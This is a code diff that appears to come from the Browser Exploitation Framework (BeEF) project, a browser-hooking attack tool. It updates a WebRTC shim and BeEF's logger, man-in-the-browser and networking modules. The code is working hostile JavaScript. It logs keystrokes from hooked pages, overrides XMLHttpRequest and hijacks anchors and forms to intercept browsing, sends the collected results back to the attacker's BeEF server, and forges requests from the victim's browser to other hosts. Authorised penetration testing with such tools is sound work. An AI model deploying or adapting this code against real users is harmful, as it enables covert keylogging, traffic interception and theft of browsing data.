var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
var origGetStats = pc.getStats.bind(pc);
|
||||
pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
|
||||
// If selector is a function then we are in the old style stats so just
|
||||
// pass back the original getStats format to avoid breaking old users.
|
||||
if (typeof selector === 'function') {
|
||||
return origGetStats(selector, successCallback);
|
||||
}
|
||||
|
||||
var fixChromeStats = function(response) {
|
||||
var standardReport = {};
|
||||
var reports = response.result();
|
||||
reports.forEach(function(report) {
|
||||
var standardStats = {
|
||||
id: report.id,
|
||||
timestamp: report.timestamp,
|
||||
type: report.type
|
||||
};
|
||||
report.names().forEach(function(name) {
|
||||
standardStats[name] = report.stat(name);
|
||||
});
|
||||
standardReport[standardStats.id] = standardStats;
|
||||
});
|
||||
|
||||
return standardReport;
|
||||
};
|
||||
var successCallbackWrapper = function(response) {
|
||||
successCallback(fixChromeStats(response));
|
||||
};
|
||||
return origGetStats(successCallbackWrapper, selector);
|
||||
};
|
||||
|
||||
return pc;
|
||||
};
|
||||
|
||||
// add promise support
|
||||
['createOffer', 'createAnswer'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var self = this;
|
||||
if (arguments.length < 1 || (arguments.length === 1 &&
|
||||
typeof(arguments[0]) === 'object')) {
|
||||
var opts = arguments.length === 1 ? arguments[0] : undefined;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [resolve, reject, opts]);
|
||||
});
|
||||
} else {
|
||||
return nativeMethod.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
['setLocalDescription', 'setRemoteDescription',
|
||||
'addIceCandidate'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var args = arguments;
|
||||
var self = this;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [args[0],
|
||||
function() {
|
||||
resolve();
|
||||
if (args.length >= 2) {
|
||||
args[1].apply(null, []);
|
||||
}
|
||||
},
|
||||
function(err) {
|
||||
reject(err);
|
||||
if (args.length >= 3) {
|
||||
args[2].apply(null, [err]);
|
||||
}
|
||||
}]
|
||||
);
|
||||
});
|
||||
};
|
||||
});
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = function(c, onSuccess, onError) {
|
||||
var constraintsToChrome = function(c) {
|
||||
if (typeof c !== 'object' || c.mandatory || c.optional) {
|
||||
return c;
|
||||
}
|
||||
var cc = {};
|
||||
Object.keys(c).forEach(function(key) {
|
||||
if (key === 'require' || key === 'advanced') {
|
||||
return;
|
||||
}
|
||||
var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined && typeof r.exact === 'number') {
|
||||
r.min = r.max = r.exact;
|
||||
}
|
||||
var oldname = function(prefix, name) {
|
||||
if (prefix) {
|
||||
return prefix + name.charAt(0).toUpperCase() + name.slice(1);
|
||||
}
|
||||
return (name === 'deviceId') ? 'sourceId' : name;
|
||||
};
|
||||
if (r.ideal !== undefined) {
|
||||
cc.optional = cc.optional || [];
|
||||
var oc = {};
|
||||
if (typeof r.ideal === 'number') {
|
||||
oc[oldname('min', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
oc = {};
|
||||
oc[oldname('max', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
} else {
|
||||
oc[oldname('', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
}
|
||||
}
|
||||
if (r.exact !== undefined && typeof r.exact !== 'number') {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname('', key)] = r.exact;
|
||||
} else {
|
||||
['min', 'max'].forEach(function(mix) {
|
||||
if (r[mix] !== undefined) {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname(mix, key)] = r[mix];
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
if (c.advanced) {
|
||||
cc.optional = (cc.optional || []).concat(c.advanced);
|
||||
}
|
||||
return cc;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
|
||||
c.audio = constraintsToChrome(c.audio);
|
||||
c.video = constraintsToChrome(c.video);
|
||||
beef.debug('chrome: ' + JSON.stringify(c));
|
||||
return navigator.webkitGetUserMedia(c, onSuccess, onError);
|
||||
};
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
if (typeof element.srcObject !== 'undefined') {
|
||||
element.srcObject = stream;
|
||||
} else if (typeof element.src !== 'undefined') {
|
||||
element.src = URL.createObjectURL(stream);
|
||||
} else {
|
||||
beef.debug('Error attaching stream to element.');
|
||||
}
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.src = from.src;
|
||||
};
|
||||
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
enumerateDevices: function() {
|
||||
return new Promise(function(resolve) {
|
||||
var kinds = {audio: 'audioinput', video: 'videoinput'};
|
||||
return MediaStreamTrack.getSources(function(devices) {
|
||||
resolve(devices.map(function(device) {
|
||||
return {label: device.label,
|
||||
kind: kinds[device.kind],
|
||||
deviceId: device.id,
|
||||
groupId: ''};
|
||||
}));
|
||||
});
|
||||
});
|
||||
}};
|
||||
// in case someone wants to listen for the devicechange event.
|
||||
navigator.mediaDevices.addEventListener = function() { };
|
||||
navigator.mediaDevices.removeEventListener = function() { };
|
||||
}
|
||||
} else if (navigator.mediaDevices && navigator.userAgent.match(
|
||||
/Edge\/(\d+).(\d+)$/)) {
|
||||
webrtcDetectedBrowser = 'edge';
|
||||
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
|
||||
|
||||
// the minimum version still supported by adapter.
|
||||
webrtcMinimumVersion = 12;
|
||||
|
||||
attachMediaStream = function(element, stream) {
|
||||
element.srcObject = stream;
|
||||
};
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.srcObject = from.srcObject;
|
||||
};
|
||||
} else {
|
||||
// console.log('Browser does not appear to be WebRTC-capable');
|
||||
}
|
||||
|
||||
// Returns the result of getUserMedia as a Promise.
|
||||
function requestUserMedia(constraints) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
getUserMedia(constraints, resolve, reject);
|
||||
});
|
||||
}
|
||||
|
||||
if (typeof module !== 'undefined') {
|
||||
module.exports = {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
} else if ((typeof require === 'function') && (typeof define === 'function')) {
|
||||
// Expose objects and functions when RequireJS is doing the loading.
|
||||
define([], function() {
|
||||
return {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
});
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -43,6 +43,7 @@ beef.logger = {
|
||||
this.y = 0;
|
||||
this.target = null;
|
||||
this.data = null;
|
||||
this.mods = null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -50,6 +51,7 @@ beef.logger = {
|
||||
*/
|
||||
start: function() {
|
||||
|
||||
beef.browser.hookChildFrames();
|
||||
this.running = true;
|
||||
var d = new Date();
|
||||
this.time = d.getTime();
|
||||
@@ -232,17 +234,28 @@ beef.logger = {
|
||||
*/
|
||||
parse_stream: function() {
|
||||
var s = '';
|
||||
for (var i in this.stream)
|
||||
{
|
||||
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
|
||||
s += String.fromCharCode(this.stream[i]['char']);
|
||||
var mods = '';
|
||||
for (var i in this.stream){
|
||||
try{
|
||||
var mod = this.stream[i]['modifiers'];
|
||||
s += String.fromCharCode(this.stream[i]['char']);
|
||||
if(typeof mod != 'undefined' &&
|
||||
(mod['alt'] == true ||
|
||||
mod['ctrl'] == true ||
|
||||
mod['shift'] == true)){
|
||||
mods += (mod['alt']) ? ' [Alt] ' : '';
|
||||
mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
|
||||
mods += (mod['shift']) ? ' [Shift] ' : '';
|
||||
mods += String.fromCharCode(this.stream[i]['char']);
|
||||
}
|
||||
|
||||
}catch(e){}
|
||||
}
|
||||
var k = new beef.logger.e();
|
||||
k.type = 'keys';
|
||||
k.target = beef.logger.get_dom_identifier();
|
||||
k.data = s;
|
||||
k.mods = mods;
|
||||
return k;
|
||||
},
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -14,47 +14,30 @@ beef.mitb = {
|
||||
beef.mitb.cid = cid;
|
||||
beef.mitb.curl = curl;
|
||||
/*Override open method to intercept ajax request*/
|
||||
var xml_type;
|
||||
var hook_file = "<%= @hook_file %>";
|
||||
|
||||
if (window.XMLHttpRequest && !(window.ActiveXObject)) {
|
||||
|
||||
xml_type = 'XMLHttpRequest';
|
||||
}
|
||||
|
||||
if (xml_type == "XMLHttpRequest") {
|
||||
beef.mitb.sniff("Method XMLHttpRequest.open override");
|
||||
(function (open) {
|
||||
XMLHttpRequest.prototype.open = function (method, url, async, user, pass) {
|
||||
|
||||
var portRegex = new RegExp(":[0-9]+");
|
||||
var portR = portRegex.exec(url);
|
||||
/*return :port*/
|
||||
var requestPort;
|
||||
|
||||
if (portR != null) {
|
||||
requestPort = portR[0].split(":");
|
||||
}
|
||||
|
||||
if ((user == "beef") && (pass == "beef")) {
|
||||
/*a poisoned something*/
|
||||
open.call(this, method, url, async, null, null);
|
||||
}
|
||||
|
||||
|
||||
else if (url.indexOf("hook.js") != -1 || url.indexOf("/dh?") != -1) {
|
||||
/*a beef hook.js polling or dh */
|
||||
open.call(this, method, url, async, null, null);
|
||||
}
|
||||
|
||||
else {
|
||||
XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
|
||||
// Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
|
||||
// or a request initiated by the MiTB itself.
|
||||
if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
|
||||
open.call(this, method, url, async, true);
|
||||
}else {
|
||||
var portRegex = new RegExp(":[0-9]+");
|
||||
var portR = portRegex.exec(url);
|
||||
var requestPort;
|
||||
if (portR != null) { requestPort = portR[0].split(":")[1]; }
|
||||
|
||||
//GET request
|
||||
if (method == "GET") {
|
||||
//GET request -> cross-origin
|
||||
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
|
||||
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
|
||||
window.open(url);
|
||||
|
||||
}
|
||||
else {
|
||||
}else { //GET request -> same-origin
|
||||
beef.mitb.sniff("GET [Ajax Request]: " + url);
|
||||
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
|
||||
var title = "";
|
||||
@@ -63,26 +46,19 @@ beef.mitb = {
|
||||
} else {
|
||||
title = document.getElementsByTagName("title")[0].innerHTML;
|
||||
}
|
||||
/*write the url of the page*/
|
||||
// write the url of the page
|
||||
history.pushState({ Be:"EF" }, title, url);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
/*if we are here we have an ajax post req*/
|
||||
beef.mitb.sniff("Post ajax request to: " + url);
|
||||
open.call(this, method, url, async, user, pass);
|
||||
|
||||
}else{
|
||||
//POST request
|
||||
beef.mitb.sniff("POST ajax request to: " + url);
|
||||
open.call(this, method, url, async, true);
|
||||
}
|
||||
}
|
||||
};
|
||||
})(XMLHttpRequest.prototype.open);
|
||||
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
// Initializes the hook on anchors and forms.
|
||||
@@ -130,7 +106,7 @@ beef.mitb = {
|
||||
history.pushState({ Be:"EF" }, title, e.currentTarget);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
}
|
||||
return false;
|
||||
},
|
||||
@@ -161,7 +137,7 @@ beef.mitb = {
|
||||
fetchForm:function (url, query, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('POST', url, false, "beef", "beef");
|
||||
y.open('POST', url, false, true);
|
||||
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
@@ -181,14 +157,13 @@ beef.mitb = {
|
||||
fetch:function (url, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('GET', url, false, "beef", "beef");
|
||||
y.open('GET', url, false, true);
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
};
|
||||
y.send(null);
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
return true;
|
||||
@@ -204,7 +179,7 @@ beef.mitb = {
|
||||
try {
|
||||
var target = document.getElementsByTagName("html")[0];
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('GET', url, false, "beef", "beef");
|
||||
y.open('GET', url, false, true);
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
var title = "";
|
||||
@@ -223,11 +198,9 @@ beef.mitb = {
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
|
||||
} catch (x) {
|
||||
|
||||
|
||||
// the link is cross-origin, so load the resource in a different tab
|
||||
window.open(url);
|
||||
beef.mitb.sniff("GET [New Window]: " + url);
|
||||
|
||||
}
|
||||
},
|
||||
|
||||
@@ -246,4 +219,4 @@ beef.mitb = {
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.mitb');
|
||||
beef.regCmp('beef.mitb');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -18,23 +18,24 @@
|
||||
*/
|
||||
beef.net = {
|
||||
|
||||
host:"<%= @beef_host %>",
|
||||
port:"<%= @beef_port %>",
|
||||
hook:"<%= @beef_hook %>",
|
||||
httpproto:"<%= @beef_proto %>",
|
||||
handler:'/dh',
|
||||
chop:500,
|
||||
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count:0,
|
||||
cmd_queue:[],
|
||||
host: "<%= @beef_host %>",
|
||||
port: "<%= @beef_port %>",
|
||||
hook: "<%= @beef_hook %>",
|
||||
httpproto: "<%= @beef_proto %>",
|
||||
handler: '/dh',
|
||||
chop: 500,
|
||||
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count: 0,
|
||||
cmd_queue: [],
|
||||
|
||||
/**
|
||||
* Command object. This represents the data to be sent back to BeEF,
|
||||
* using the beef.net.send() method.
|
||||
*/
|
||||
command:function () {
|
||||
command: function () {
|
||||
this.cid = null;
|
||||
this.results = null;
|
||||
this.status = null;
|
||||
this.handler = null;
|
||||
this.callback = null;
|
||||
},
|
||||
@@ -42,7 +43,7 @@ beef.net = {
|
||||
/**
|
||||
* Packet object. A single chunk of data. X packets -> 1 stream
|
||||
*/
|
||||
packet:function () {
|
||||
packet: function () {
|
||||
this.id = null;
|
||||
this.data = null;
|
||||
},
|
||||
@@ -50,7 +51,7 @@ beef.net = {
|
||||
/**
|
||||
* Stream object. Contains X packets, which are command result chunks.
|
||||
*/
|
||||
stream:function () {
|
||||
stream: function () {
|
||||
this.id = null;
|
||||
this.packets = [];
|
||||
this.pc = 0;
|
||||
@@ -58,8 +59,8 @@ beef.net = {
|
||||
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
|
||||
};
|
||||
this.get_packet_data = function () {
|
||||
var p = this.packets.shift();
|
||||
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
|
||||
var p = this.packets.shift();
|
||||
return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
|
||||
};
|
||||
},
|
||||
|
||||
@@ -68,10 +69,10 @@ beef.net = {
|
||||
* NOTE: as we are using async mode, the response object will be empty if returned.
|
||||
* Using sync mode, request obj fields will be populated.
|
||||
*/
|
||||
response:function () {
|
||||
response: function () {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.status_text = null; // success, timeout, error, ...
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
this.response_body = null; // "<html>…." if not a cross-origin request
|
||||
this.port_status = null; // tcp port is open, closed or not http
|
||||
this.was_cross_domain = null; // true or false
|
||||
this.was_timedout = null; // the user specified timeout was reached
|
||||
@@ -84,13 +85,15 @@ beef.net = {
|
||||
* @param: {String} handler: the server-side handler that will be called
|
||||
* @param: {Integer} cid: command id
|
||||
* @param: {String} results: the data to send
|
||||
* @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
|
||||
* @param: {Function} callback: the function to call after execution
|
||||
*/
|
||||
queue:function (handler, cid, results, callback) {
|
||||
queue: function (handler, cid, results, status, callback) {
|
||||
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
|
||||
var s = new beef.net.command();
|
||||
s.cid = cid;
|
||||
s.results = beef.net.clean(results);
|
||||
s.status = status;
|
||||
s.callback = callback;
|
||||
s.handler = handler;
|
||||
this.cmd_queue.push(s);
|
||||
@@ -105,22 +108,32 @@ beef.net = {
|
||||
* @param: {String} handler: the server-side handler that will be called
|
||||
* @param: {Integer} cid: command id
|
||||
* @param: {String} results: the data to send
|
||||
* @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
|
||||
* @param: {Function} callback: the function to call after execution
|
||||
* @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
|
||||
*/
|
||||
send:function (handler, cid, results, callback) {
|
||||
send: function (handler, cid, results, exec_status, callback) {
|
||||
// defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
|
||||
var status = 0;
|
||||
if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
|
||||
|
||||
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.queue(handler, cid, results, status, callback);
|
||||
this.flush();
|
||||
}else {
|
||||
} else {
|
||||
try {
|
||||
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
|
||||
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
|
||||
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
}catch (e) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
'", "status": "' + exec_status +
|
||||
'", "callback": "' + callback +
|
||||
'","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
} catch (e) {
|
||||
this.queue(handler, cid, results, status, callback);
|
||||
this.flush();
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -131,7 +144,7 @@ beef.net = {
|
||||
* XHR-polling mechanism. If WebSockets are used, the data is sent
|
||||
* back to BeEF straight away.
|
||||
*/
|
||||
flush:function () {
|
||||
flush: function () {
|
||||
if (this.cmd_queue.length > 0) {
|
||||
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
|
||||
this.cmd_queue.length = 0;
|
||||
@@ -159,7 +172,7 @@ beef.net = {
|
||||
* @param: {String} str: the input data
|
||||
* @param: {Integer} amount: chunk length
|
||||
*/
|
||||
chunk:function (str, amount) {
|
||||
chunk: function (str, amount) {
|
||||
if (typeof amount == 'undefined') n = 2;
|
||||
return str.match(RegExp('.{1,' + amount + '}', 'g'));
|
||||
},
|
||||
@@ -169,7 +182,7 @@ beef.net = {
|
||||
* It uses beef.net.request to send back the data.
|
||||
* @param: {Object} stream: the stream object to be sent back.
|
||||
*/
|
||||
push:function (stream) {
|
||||
push: function (stream) {
|
||||
//need to implement wait feature here eventually
|
||||
for (var i = 0; i < stream.pc; i++) {
|
||||
this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
@@ -191,11 +204,11 @@ beef.net = {
|
||||
*
|
||||
* @return: {Object} response: this object contains the response details
|
||||
*/
|
||||
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
//check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
|
||||
if (document.location.port == "" || document.location.port == null) {
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
}
|
||||
}
|
||||
@@ -220,29 +233,29 @@ beef.net = {
|
||||
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
|
||||
* This will turn POSTs into GETs for remote-domain requests.
|
||||
*/
|
||||
if (method == "POST"){
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
} else {
|
||||
$j.ajaxSetup({
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
//build and execute the request
|
||||
$j.ajax({type:method,
|
||||
url:url,
|
||||
data:data,
|
||||
timeout:(timeout * 1000),
|
||||
$j.ajax({type: method,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
|
||||
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
|
||||
beforeSend:function (xhr) {
|
||||
beforeSend: function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
success:function (data, textStatus, xhr) {
|
||||
success: function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -251,14 +264,15 @@ beef.net = {
|
||||
response.was_timedout = false;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
error:function (jqXHR, textStatus, errorThrown) {
|
||||
error: function (jqXHR, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = jqXHR.responseText;
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
response.port_status = "open";
|
||||
},
|
||||
complete:function (jqXHR, textStatus) {
|
||||
complete: function (jqXHR, textStatus) {
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.headers = jqXHR.getAllResponseHeaders();
|
||||
@@ -273,7 +287,7 @@ beef.net = {
|
||||
response.port_status = "open";
|
||||
}
|
||||
}
|
||||
}).done(function () {
|
||||
}).always(function () {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
@@ -287,20 +301,25 @@ beef.net = {
|
||||
* - allowCrossDomain: set cross-domain requests as allowed or blocked
|
||||
*
|
||||
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
|
||||
* Example usage:
|
||||
* beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
|
||||
* true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
|
||||
* alert(response.response_body)})
|
||||
*/
|
||||
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
|
||||
// check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
} else {
|
||||
if (document.location.port == port) cross_domain = false;
|
||||
}
|
||||
if (domain == "undefined" || path == "undefined") {
|
||||
return;
|
||||
}
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
|
||||
if (document.location.port == "" || document.location.port == null) {
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
} else {
|
||||
if (document.location.port == port) cross_domain = false;
|
||||
}
|
||||
}
|
||||
|
||||
// build the url
|
||||
var url = "";
|
||||
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
|
||||
@@ -333,7 +352,7 @@ beef.net = {
|
||||
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
|
||||
* This will turn POSTs into GETs for remote-domain requests.
|
||||
*/
|
||||
if (method == "POST"){
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
@@ -343,8 +362,8 @@ beef.net = {
|
||||
});
|
||||
}
|
||||
|
||||
// this is required for bugs in IE so data can be transferred back to the server
|
||||
if ( beef.browser.isIE() ) {
|
||||
// this is required for bugs in IE so data can be transferred back to the server
|
||||
if (beef.browser.isIE()) {
|
||||
dataType = 'script'
|
||||
}
|
||||
|
||||
@@ -355,14 +374,16 @@ beef.net = {
|
||||
timeout: (timeout * 1000),
|
||||
|
||||
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
|
||||
beforeSend:function (xhr) {
|
||||
beforeSend: function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
|
||||
data: data,
|
||||
|
||||
// http server responded successfully
|
||||
success:function (data, textStatus, xhr) {
|
||||
success: function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -373,7 +394,7 @@ beef.net = {
|
||||
|
||||
// server responded with a http error (403, 404, 500, etc)
|
||||
// or server is not a http server
|
||||
error:function (xhr, textStatus, errorThrown) {
|
||||
error: function (xhr, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = xhr.responseText;
|
||||
response.status_code = xhr.status;
|
||||
@@ -381,33 +402,33 @@ beef.net = {
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
|
||||
complete:function (xhr, textStatus) {
|
||||
complete: function (xhr, textStatus) {
|
||||
// cross-domain request
|
||||
if (cross_domain) {
|
||||
|
||||
response.port_status = "crossdomain";
|
||||
response.port_status = "crossdomain";
|
||||
|
||||
if (xhr.status != 0) {
|
||||
response.status_code = xhr.status;
|
||||
} else {
|
||||
response.status_code = -1;
|
||||
}
|
||||
response.status_code = xhr.status;
|
||||
} else {
|
||||
response.status_code = -1;
|
||||
}
|
||||
|
||||
if (textStatus) {
|
||||
response.status_text = textStatus;
|
||||
} else {
|
||||
response.status_text = "crossdomain";
|
||||
}
|
||||
if (textStatus) {
|
||||
response.status_text = textStatus;
|
||||
} else {
|
||||
response.status_text = "crossdomain";
|
||||
}
|
||||
|
||||
if (xhr.getAllResponseHeaders()) {
|
||||
response.headers = xhr.getAllResponseHeaders();
|
||||
} else {
|
||||
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
if (xhr.getAllResponseHeaders()) {
|
||||
response.headers = xhr.getAllResponseHeaders();
|
||||
} else {
|
||||
